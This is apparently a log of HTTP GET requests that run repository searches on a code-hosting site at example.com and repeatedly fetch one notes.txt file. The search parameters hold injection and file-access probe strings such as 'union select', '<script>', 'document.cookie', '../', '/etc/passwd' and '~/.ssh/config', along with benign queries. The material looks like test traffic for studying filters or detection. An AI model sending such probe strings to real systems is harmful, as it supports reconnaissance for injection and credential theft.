{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3Cscript%3E&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
